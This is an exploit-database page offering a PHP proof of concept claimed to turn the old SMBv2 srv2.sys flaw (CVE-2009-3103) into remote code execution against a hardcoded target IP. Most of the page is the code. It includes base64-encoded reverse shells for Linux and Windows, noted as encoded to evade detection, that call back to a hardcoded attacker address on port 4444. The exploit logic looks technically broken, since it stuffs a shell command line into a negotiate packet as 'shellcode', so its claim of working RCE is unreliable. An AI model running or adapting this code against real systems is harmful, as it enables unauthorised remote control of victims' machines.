Share
## https://sploitus.com/exploit?id=PACKETSTORM:189596
=============================================================================================================================================
    | # Title     : Microsoft SRV2.SYS SMB v2 RCE Vulnerability                                                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://Microsoft.com                                                                                                       |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+]Code Description: In the previous code (linked: https://packetstorm.news/files/id/180562/ Linked CVE numbers: CVE-2009-3103),
    
       The exploit was only causing DoS (denial of service), but we can develop it to attempt to execute commands on the target system instead.
    
       The exploit targets SMBs, and sends a Reverse Shell payload, allowing the attacker to take remote control of the target if the exploit is successful.
    	
    [+] save code as poc.php.
    
    [+] Set Target : line  58 
    
    [+] USage : php poc.php 
    
    [+] PayLoad :
    
    <?php
    class SMBExploit {
        private $host;
        private $port;
        private $offset;
        private $socket;
    
        public function __construct($host, $port = 445, $offset = 0xffff) {
            $this->host = $host;
            $this->port = $port;
            $this->offset = $offset;
        }
    
        public function connect() {
            $this->socket = fsockopen($this->host, $this->port, $errno, $errstr, 5);
            if (!$this->socket) {
                die("Connection failed: $errstr ($errno)\n");
            }
            echo "Connected to {$this->host}:{$this->port}\n";
        }
    
        public function checkSMB() {
            $pkt = "\x00\x00\x00\x00\xFFSMB\x72\x00\x00\x00\x18\x53\xC8";
            fwrite($this->socket, $pkt);
            $response = fread($this->socket, 1024);
            
            if ($response) {
                echo "SMB Response: " . bin2hex($response) . "\n";
                return true;
            } else {
                echo "No SMB response. crashed...\n";
                return false;
            }
        }
    
        public function sendPayload() {
            if (!$this->checkSMB()) {
                return;
            }
            
            $shellcode = "\x90" . str_repeat("\x90", 100); // NOP Sled
            $shellcode .= "\xfc\xe8\x82\x00\x00\x00\x60\x31\xd2"; // Shellcode يبدأ بـ NOP ثم كود تنفيذ أوامر
            
            // كود Reverse Shell لفتح اتصال مع المهاجم
            $attacker_ip = "41.200.74.32";
            $attacker_port = 4444;
            
            // تحويل أوامر الـ Reverse Shell إلى Base64 لتجنب الكشف عنها
            $reverse_shell_linux = base64_encode("php -r '\$sock=fsockopen(\"$attacker_ip\",$attacker_port);exec(\"/bin/sh -i <&3 >&3 2>&3\"); fclose(\$sock);'");
            
            $reverse_shell_windows = base64_encode("powershell -NoP -NonI -Exec Bypass -W Hidden -EncodedCommand " . base64_encode(
                "\$client = New-Object System.Net.Sockets.TCPClient('$attacker_ip',$attacker_port);"
                . "\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};"
                . "while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){"
                . "\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);"
                . "\$sendback = (iex \$data 2>&1 | Out-String );"
                . "\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';"
                . "\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);"
                . "\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()}"
                . "\$client.Close()"
            ));
            
            // اختيار الـ Shellcode المناسب
            $reverse_shell = (stristr(PHP_OS, 'WIN')) ? $reverse_shell_windows : $reverse_shell_linux;
    
            // تحويل الأمر إلى Shellcode بطريقة Hex
            $hex_command = bin2hex(base64_decode($reverse_shell));
            $shellcode .= hex2bin($hex_command);
    
            $pkt = "\x00\x00\x00\x00"; // SMB header
            $pkt .= "\xFFSMB"; // SMB Signature
            $pkt .= "\x72\x00\x00\x00\x18\x53\xC8"; // Negotiate Request
            $pkt .= pack("v", $this->offset); // ProcessIDHigh
            $pkt .= "\x00\x00\x00\x00"; // Extra fields
            $pkt .= $shellcode; // إدراج الـ Shellcode داخل الحزمة
    
            fwrite($this->socket, $pkt);
            echo "Payload sent, waiting for response...\n";
    
            sleep(2); // تأخير لمنح وقت لتنفيذ الكود
            $response = fread($this->socket, 1024);
            if (!$response) {
                echo "Exploit executed successfully! Check your listener.\n";
            } else {
                echo "Response received: " . bin2hex($response) . "\n";
            }
        }
    
        public function disconnect() {
            fclose($this->socket);
            echo "Disconnected.\n";
        }
    }
    
    $exploit = new SMBExploit("5.2.91.205");
    $exploit->connect();
    $exploit->sendPayload();
    $exploit->disconnect();
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================